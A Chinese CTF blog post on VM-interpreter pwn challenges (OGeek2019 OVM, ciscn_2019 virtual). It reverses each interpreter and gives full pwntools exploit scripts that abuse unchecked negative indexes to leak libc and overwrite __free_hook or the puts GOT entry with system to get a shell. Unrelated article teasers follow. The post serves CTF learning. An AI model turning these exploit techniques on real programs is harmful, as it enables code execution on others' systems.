vmpwn小总结
前言:
好久没有更新博客了,关于vm的学习也是断断续续的,只见识了几道题目,但是还是想总结一下,所谓vmpwn就是把出栈,进栈,寄存器,bss段等单独申请一块空闲实现相关的功能,也就是说一些汇编命令通过一些函数来实现,而大部分的vmpwn的切入点大多是不安全的下标,通过下标来泄露一些东西或者修改一些东西等等.....
以下是vmpwn的一些简单的题目,但是有些很复杂的题目需要很强的逆向能力,慢慢的分析
[OGeek2019 Final]OVM
保护策略
ida逆向
PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。 SP 指针寄存器,永远指向当前的栈顶。
、
通过我们输入的代码指令来操作的,也就是接下来的code
而紧接着就是对我们输入的code进行处理具体在 execute函数中
ssize_t __fastcall execute(int a1)
{ssize_t result; // raxunsigned __int8 v2; // [rsp+18h] [rbp-8h]unsigned __int8 v3; // [rsp+19h] [rbp-7h]unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]
//这里将字节分为4给部分,分别是v4,v3,v2和高位 v4 = (a1 & 0xF0000u) >> 16;v3 = (unsigned __int16)(a1 & 0xF00) >> 8;v2 = a1 & 0xF;result = HIBYTE(a1); //这里取高字节进行匹配if ( HIBYTE(a1) == 0x70 ){result = (ssize_t)reg;reg[v4] = reg[v2] + reg[v3]; // 加法return result;}if ( HIBYTE(a1) > 0x70u ){if ( HIBYTE(a1) == 0xB0 ){result = (ssize_t)reg;reg[v4] = reg[v2] ^ reg[v3]; // 异或return result;}if ( HIBYTE(a1) > 0xB0u ){if ( HIBYTE(a1) == 0xD0 ){result = (ssize_t)reg;reg[v4] = (int)reg[v3] >> reg[v2]; // 右移return result;}if ( HIBYTE(a1) > 0xD0u ){if ( HIBYTE(a1) == 0xE0 ){running = 0;if ( !reg[13] )return write(1, "EXIT\n", 5uLL); // 栈空退出}else if ( HIBYTE(a1) != 0xFF ){return result;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);// 打印数据return write(1, "HALT\n", 5uLL);}else if ( HIBYTE(a1) == 0xC0 ){result = (ssize_t)reg;reg[v4] = reg[v3] << reg[v2]; // 左移}}else{switch ( HIBYTE(a1) ){case 0x90u:result = (ssize_t)reg;reg[v4] = reg[v2] & reg[v3];break;case 0xA0u:result = (ssize_t)reg;reg[v4] = reg[v2] | reg[v3];break;case 0x80u:result = (ssize_t)reg;reg[v4] = reg[v3] - reg[v2];break;}}}else if ( HIBYTE(a1) == 0x30 ){result = (ssize_t)reg;reg[v4] = memory[reg[v2]];}else if ( HIBYTE(a1) > 0x30u ){switch ( HIBYTE(a1) ){case 0x50u:LODWORD(result) = reg[13];reg[13] = result + 1;result = (int)result;stack[(int)result] = reg[v4];break;case 0x60u:--reg[13];result = (ssize_t)reg;reg[v4] = stack[reg[13]];break;case 0x40u:result = (ssize_t)memory;memory[reg[v2]] = reg[v4];break;}}else if ( HIBYTE(a1) == 0x10 ){result = (ssize_t)reg;reg[v4] = (unsigned __int8)a1;}else if ( HIBYTE(a1) == 0x20 ){result = (ssize_t)reg;reg[v4] = (_BYTE)a1 == 0;}return result;
}
这里我们输入的pc给了reg[15],每次循环进行匹配+1,然后进行进行处理也就是刚刚上面的代码逻辑
这里可以用python来看看到底取了什么(当然因为我代码基础比较弱....)
那么看到取到的其实2,3,4也就是v4,v3,v2。
然后继续分析
那么这里不难看出就是通过v2,v3来当作下标取reg数组进行索引的
但是没有对下标进行限制那么就是可以输入负数来造成恶意数据的修改等等
0x30和0x40,这里分别是取memory的值给reg,和取reg的值给memory,但是这期间它们的下标我们都可以自己控制
同时还有这个
我们可以向reg里面进行赋值和取出值
这里打印reg里面的值,但是是4位一组
最后会调用free把我们输入东西进行free,那么如果我们把free_hook给修改成system那么就可以通过输入/bin/sh来获取shell
那么就需要得到一个libc地址,正好前面可以通过负数下标来将一个libc地址存入reg输入,然后进行打印泄露地址
这里可以把相关的函数包装一下
def add(v4,v3,v2):opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef xor(v4,v3,v2):opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef rhl(v4,v3,v2):opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef lhl(v4,v3,v2):opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef readn(v4,v2):opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])return opcodedef writen(v4,v2):opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])return opcodedef setnum(v4,v2):opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])return opcode#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398
因为只能4位一组,所以只能分别取到低四位和高四位
readn(4,2), #reg[4] = memory[reg[2]] stdin+4setnum(1,0x10),lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000
这里用的是泄露stdin的libc地址,进而得到free_hook的地址
因为最后向这里写数据
所以可以把这里存放着free_hook -8 的地址,那么就可以getshell
那么整体思路就是通过构造负数下标,得到libc地址,然后构造高低位来泄露libc地址,然后根据偏移得到free_hook -8地址,然后继续通过高低位写入comment函数,获取shell
EXP:
from gt import *
con("amd64")io = process("./OVM")
libc = ELF("/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")def add(v4,v3,v2):opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef xor(v4,v3,v2):opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef rhl(v4,v3,v2):opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef lhl(v4,v3,v2):opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])return opcodedef readn(v4,v2):opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])return opcodedef writen(v4,v2):opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])return opcodedef setnum(v4,v2):opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])return opcode#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398
code =[setnum(0,8),# reg[0]=8setnum(1,0xff), #reg[1]=0xffsetnum(2,0xff), #reg[2]=0xfflhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xff << 0x8 =0xff00add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xff00 + 0xff = 0xfffflhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffff << 0x8 = 0xffff00add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xffff00 + 0xff = 0xfffffflhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffffff << 0x8 = 0xffffff00setnum(1,0xc8), #reg[3] = 0xc8add(2,2,1), #reg[2] = reg[2] = reg[2]+reg[1] = 0xffffff00 + 0xc8 = 0xffffffc8 = -56readn(3,2), #reg[3] = memory[reg[2]] stdinsetnum(1,1), #reg[1] = 1add(2,2,1), #reg[2] = reg[2] + reg[1] = -55readn(4,2), #reg[4] = memory[reg[2]] stdin+4setnum(1,0x10),lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000setnum(5,0x90),setnum(6,0x3),add(1,1,1),#reg[1] = reg[1] + reg[1] = 0x1000 + 0x1000 = 0x2000lhl(6,6,0), #reg[6] = reg[6]<<reg[0] = 0x3<<8 = 0x300add(1,1,6), #reg[1] = reg[1] + reg[6] = 0x2000+0x300= 0x2300add(1,1,5), #reg[1] = reg[1] + reg[5] = 0x2300 + 0x90 = 0x2390add(3,3,1), #reg[3] = reg[3] + reg[1] = __free_hook-8setnum(5,47),add(2,2,5), #reg[2] = reg[2] + reg[5] = -55+47 = -8writen(3,2), #memory[reg[2]] = reg[3] = memory[-8] = reg[3]setnum(5,1),add(2,2,5), #reg[2] = reg[2] + reg[1] = -8 +1 = -7writen(4,2) #memory[reg[2]] = reg[4] = memory[-7] = reg[4] ]io.recvuntil("PC: ")
io.sendline(str(0))
io.recvuntil("SP: ")
io.sendline(str(1))
io.recvuntil("CODE SIZE: ")io.sendline(str(len(code)))for i in code:io.sendline(str(i))io.recvuntil("3: ")
last_4bytes = int(io.recv(8),16)
suc("last_4bytes",last_4bytes)
io.recvuntil("4: ")
high_4bytes = int(io.recv(4),16)
suc("high_4bytes",high_4bytes)libc_base = ((high_4bytes << 32) + last_4bytes) - libc.sym["__free_hook"] + 8
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
io.recvuntil(" OVM?\n")
payload = b'/bin/sh\x00' + p64(system)
#gdb.attach(io)
io.send(payload)
io.interactive()
ciscn_2019_qual_virtual
保护策略
ida逆向分析
这里仍然还是申请空间给stack,text,data等等
这里通过相关命令来转换对应字节
这里将对应的代码放入text段
之后进入相应的功能
接受三个参数,a1为text段结构体的指针,a2为stack段结构体的指针,a3为data段结构体的指针
这里看一下push函数
这里a1,a2就是原先的a3,a2
8字节一组的opcode,倒着拿取
那么push功能就是到data段上拿取一个值给v3然后将v3给stack
pop即是和它相反的操作
重点看看load和save
只接受一个参数也就是a3,data结构体,也就是说把data的东西加上v2偏移继续放入data,当然v2的值也是data里面取到的
当然save就是相反的操作,将data里面值放入v3,而这里的v2依然可以控制
这题没有开启got表全保护,那么可以修改puts的got表为system,那么在后面打印name的时候就会system("/bin/sh")获取shell
控制v2的值实现负数索引,那么现在有个问题,因为stack指针存放在堆块里面,所以要想实现负数索引获取libc地址的话需要先把指针进行修改
这里取的地址是下图这个,还有一个要注意,就是存储stack是逆序存储的
这里0xfffff....的值是-3,那么接下来的save就会取这两个值,而-3是下标就会把data指针修改成0x4040d0
这里是把stack的两个值取到了data中,然后save修改data指针
这里取的是stderr和system的偏移
stderr在新的指针下标是-1,那么取-1放入data,然后load进入data
继续取一个偏移
add放入data
然后最后push进行到putsgot表的偏移,然后save即可修改puts 的got表
最后即可getshell
EXP:
from gt import *
con("amd64")
libc= ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./ciscn_2019_qual_virtual")
io.recvuntil("name:")io.sendline("/bin/sh\x00")
# gdb.attach(io)
io.recvuntil("instruction:")
offest = libc.sym["system"] - libc.sym["_IO_2_1_stderr_"]
payload = 'push push save push load push add push save'
io.sendline(payload)io.recvuntil("data:")data = [0x4040d0,-3,-1,offest,-21]
payload = ''
for i in data:payload+= str(i)+' '
gdb.attach(io)
io.sendline(payload)io.interactive()
总结:
vmpwn的学习远远不止这些,这里只能算入门,大致了解一下vmpwn的分析方法和一些常见漏洞等等,对于这些偏逆向的题目需要有一定的逆向基础,对我而言还是比较吃力的,看懂要很久,但是我建议加上动态调试多去看看其中的变化,还是便于理解的.....vmpwn先搁了
参考文章
VM Pwn学习-安全客 - 安全资讯平台
关于vm pwn的学习总结 | ZIKH26's Blog
相关文章:
vmpwn小总结
前言: 好久没有更新博客了,关于vm的学习也是断断续续的,只见识了几道题目,但是还是想总结一下,所谓vmpwn就是把出栈,进栈,寄存器,bss段等单独申请一块空闲实现相关的功能࿰…...
开源密码管理器 Bitwarden 一站式管理所有密码以及 2FA
本文首发于只抄博客,欢迎点击原文链接了解更多内容。 前言 随着注册的平台越来越多,管理密码的难度也越来越高了。要是把密码都设置成一样的,担心哪天某个平台泄露被一锅端,而每个平台单独一个密码又不太好记,这时候就…...
标准体重计算API集成指南
标准体重计算API集成指南 引言 在当今数字化和健康意识日益增长的时代,开发人员和健康管理专业人士不断寻找创新的方法来促进用户的健康生活。标准体重计算是一个关键的健康指标,它可以帮助个人了解自己的身体状况,并为制定合适的饮食和运动…...
多个终端查看的history不一样,如何确保多个终端会话之间的 history 一致,减少历史记录差异
问题: 在使用 Linux 系统时,history 命令显示的历史记录通常是与当前终端会话相关的。这就意味着,如果你在多个终端中打开会话,它们显示的历史记录可能不完全相同。这个问题通常是由以下原因引起的: 原因:…...
Spring Boot整合EasyExcel并行导出及Zip压缩下载
1. 项目依赖 首先,我们需要引入相关的依赖,包括 Spring Boot 和阿里巴巴的 EasyExcel 组件,此外还需要使用 Java 的 Zip 工具进行压缩操作。 <dependencies><!-- Spring Web --><dependency><groupId>org.springfr…...
Docker 对 iptables 规则的自动配置,这句话是什么意思
Docker 对 iptables 规则的自动配置指的是 Docker 守护进程 (daemon) 会自动管理 Linux 系统上的 iptables 规则,以便容器可以正确地进行网络通信。这对于大多数用户来说是一个方便的功能,因为它简化了容器网络配置。 具体来说,这意味着&…...
使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件
使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件 使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件1. 安装aarch64-unknown-linux-musl目标2. 安装交叉编译工具链安装musl-cross-make 3. 配置Rust编译器使用交叉编译工具链4. 编译你的Rust项目5. 运行或…...
【SpringBoot中出现循环依赖错误】
SpringBoot中出现循环依赖错误 在Spring Boot中,循环依赖(circular dependency)是指两个或多个bean相互依赖,形成一个闭合的依赖环。例如,Bean A依赖于Bean B,而Bean B又反过来依赖于Bean A。这种情况下&a…...
数据仓库-基于角色的权限管理(RBAC)
什么是基于角色的用户管理? 基于角色的用户管理(Role-Based Access Control,简称RBAC)是通过为角色赋予权限,用户通过成为适当的角色而得到这些角色的权限。 角色是一组权限的抽象。 使用RBAC可以极大简化对权限的管理。 什么是RBAC模型&…...
springboot3整合javafx解决bean注入问题
springboot整合javafx时候,很多问题就在于controller没有被spring容器管理,无法注入bean,在这里提供一套自己的解决思路 执行逻辑 这里仅仅提供一个演示,我点击按钮之后,从service层返回一个文本并显示 项目结构 创…...
.NET 8 Blazor Web项目中的 .razor 文件与 .cshtml 文件的本质区别
在.NET 8 Blazor Web项目中,.razor 和 .cshtml 文件是常用的视图文件格式。尽管它们看起来有相似之处,但在使用方式、功能和渲染机制上有着根本的不同。理解它们的本质区别,有助于开发者更好地选择合适的文件格式,并构建符合需求的…...
SpringBoot快速使用
一些名词的碎碎念: 1> 俩种网络应用设计模式 C/S 客户端/服务器 B/S 浏览器/服务器 俩者对比: 2> 集群和分布式的概念 集群: 分布式: 例子: 一个公司有一个人身兼多职 集群: 招聘N个和上面这个人一样身兼多职 分布式: 招聘N个人,分担上面这个人的工作,进行工作的拆分. 工…...
【C语言实现:用队列模拟栈与用栈模拟队列(LeetCode 225 232)】
LeetCode刷题记录 🌐 我的博客主页:iiiiiankor🎯 如果你觉得我的内容对你有帮助,不妨点个赞👍、留个评论✍,或者收藏⭐,让我们一起进步!📝 专栏系列:LeetCode…...
远程控制软件对比与使用推荐
远程控制软件对比与使用推荐 远程控制软件在现代工作环境中扮演着重要角色,无论是远程办公、技术支持、还是家庭成员之间的协助。以下是对几种常见远程控制软件的详细对比和推荐使用场景。 1. TeamViewer 特点 跨平台:支持Windows、macOS、Linux、iO…...
vue canvas 绘制选定区域 矩形框
客户那边文档相当的多,目前需要协助其将文档转为数据写入数据库,并与其他系统进行数据共享及建设,所以不得不搞一个识别的功能,用户上传PDF文档后,对于关键信息点进行识别入库! 以下为核心代码,…...
【SpringCloud】OpenFeign配置时间Decode
文章目录 1.自定义反序列化器2.配置类与自定义 ObjectMapper客户端 需求:OpenFeign配置自定义decode,解析http请求返回的时间字符串 1.自定义反序列化器 Date 自定义反序列化器 import com.fasterxml.jackson.core.JsonParser; import com.fasterxml.j…...
Xerces-C,一个成熟的 C++ XML 解析库!
嗨,大家好!我是一行。今天咱们来探索 Xerces-C,它可是 C里超棒的 XML 解析库哦!能帮咱轻松处理 XML 数据,在很多数据交互、配置文件读取场景都超实用,快来一起学习使用它的妙招吧。 一、Xerces-C 是什么&am…...
6.2 MapReduce工作原理
MapReduce工作原理涉及将大数据集分割成小块并行处理。Map任务读取数据块并输出中间键值对,而Reduce任务则处理这些排序后的数据以生成最终结果。MapTask工作包括读取数据、应用Map函数、收集输出、内存溢出时写入磁盘以及可选的Combiner局部聚合。ReduceTask工作则…...
一次旧业务系统迁移收缩的经历
单位的一个业务系统,在几年前已经更换了。但旧的系统里面还有很多没有转移过来的数据,虽然普通用户不再需要用旧的系统,但相应部门的管理人员还需要在旧系统查询数据资料,这应该是旧系统向新系统迁移时,数据不彻底&…...
MVC配置文件及位置
配置文件位置 默认位置 WEB-INF目录下,文件名:<servlet-name>-servlet.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns"http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi"http://www.w3.…...
如何解决samba服务器共享文件夹不能粘贴文件
sudo vim /etc/samba/smb.conf在samba的配置文件中增加一个选项 writable yes重启Samba服务以使更改生效: sudo service smbd restart...
【中工开发者】鸿蒙商城app
这学期我学习了鸿蒙,想用鸿蒙做一个鸿蒙商城app,来展示一下。 项目环境搭建: 1.开发环境:DevEco Studio2.开发语言:ArkTS3.运行环境:Harmony NEXT base1 软件要求: DevEco Studio 5.0.0 Rel…...
(九)机器学习 - 多项式回归
多项式回归(Polynomial Regression)是一种回归分析方法,它将自变量 xx 和因变量 yy 之间的关系建模为 nn 次多项式。多项式回归的目的是找到一个 nn 次多项式函数,使得这个函数能够最好地拟合给定的数据点。 多项式回归的数学表达…...
Qt编写区位码gb2312、机内码、国标码————附带详细介绍和编码实现
文章目录 0 背景1 了解编码1.1 ASCII码1.2 机内码、国标码、区位码1.2.1 区位码1.2.2 国标码(GB 2312-80)1.2.3 汉字机内码(GB 2312) 1.3 GBK和GB2312的区别2 编码实现2.1 QString数据转QByteArray类型2.1.1 使用QTextCodec2.1.2 …...
linux网络编程 | c | epoll实现IO多路转接服务器
epoll实现IO多路转接服务器 可通过以下视频学习 06-opell函数实现的多路IO转接_哔哩哔哩_bilibili 通过响应式–多路IO转接实现 文章目录 epoll实现IO多路转接服务器1.思路&功能核心思路 2.代码实现multi_epoll_sever.c运行图 1.思路&功能 **功能:**客…...
Source Insight的使用经验汇总
01-Add All"和“Add Tree”有何区别? 在 Source Insight 中,“Add All”和“Add Tree”是两种向项目(Project)中添加文件的操作选项,它们的区别在于处理文件和目录的方式不同: 1. Add All 范围&am…...
VSCode 报错:rust-analyzer requires glibc >= 2.28 in latest build
报错信息 /home/jake/.vscode-server-insiders/extensions/matklad.rust-analyzer-0.3.953/server/rust-analyzer: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.29 not found (required by /home/jake/.vscode-server-insiders/extensions/matklad.rust-analyzer-0.3.9…...
Android Link to Death 使用
Java侧: 【android学习】使用linkToDeath对AIDL双向死亡监听_unlinktodeath-CSDN博客 Native侧: Service端 using namespace android; class MyService :public IBinder::DeathRecipient{void MyService::binderDied(const wp<IBinder>& wh…...
【C++游记】string的使用和模拟实现
枫の个人主页 你不能改变过去,但你可以改变未来 算法/C/数据结构/C Hello,这里是小枫。C语言与数据结构和算法初阶两个板块都更新完毕,我们继续来学习C的内容呀。C是接近底层有比较经典的语言,因此学习起来注定枯燥无味…...
DockerUI info存在未授权访问漏洞
免责声明: 本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在…...
做自己的网站要多久/seo教程免费分享
本篇博客,先讲述同步和异步的区别,然后分别演示了同步和异步的基本范例程序;在这个过程中可以体味同步和异步的区别,以便按需选用;;;具体同步和异步的深入理解,需要在实际应用中逐渐…...
赌球网站如何做代理/东莞服务好的营销型网站建设
摘要 Highcharts图表控件是目前使用最为广泛的图表控件。本文将从零开始逐步为你介绍Highcharts图表控件。通过本文,你将学会如何配置Highcharts以及动态生成Highchart图表。 目录 前言(Preface)安装(Installation)如何…...
网站做友链/百度人工智能
在我们搭建完 Harbor 后: https://www.cnblogs.com/klvchen/p/9482153.html 如果想要通过 API 获取 Harbor 上面的镜像及 tag 可以使用下面整理的脚本: cat get_images.sh #!/bin/bashUSER"admin" PASS"Harbor12345" HURL"http://192.168…...
做宾馆网站/seo搜索引擎优化怎么优化
# -*- coding: utf-8 -*- #python 27 #xiaodeng #python之函数用法iter()#iter() #说明:对一个对象调用 iter() 就可以得到它的迭代器iter(...)iter(collection) -> iteratorcollection:容器iterator:可迭代对象iter(callable, sentinel) -> itera…...
网站每个月8g流量/网络营销的优势是什么
一:引言缓冲区溢出漏洞之所以这么多,是在于它的产生是如此的简单。只要C/C程序员稍微放松警惕,他的代码里面可能就出现了一个缓冲区溢出漏洞,甚至即使经过仔细检查的代码,也会存在缓冲区溢出漏洞。二:溢出 …...
惠州的企业网站建设/seo企业推广案例
HTML5 的 FileReader 对象允许Web应用程序异步读取存储在用户计算机上的文件(或原始数据缓冲区)的内容,使用 File 或 Blob 对象指定要读取的文件或数据。FileReader 事件FileReader.onabort 处理abort事件。该事件在读取操作被中断时触发。Fi…...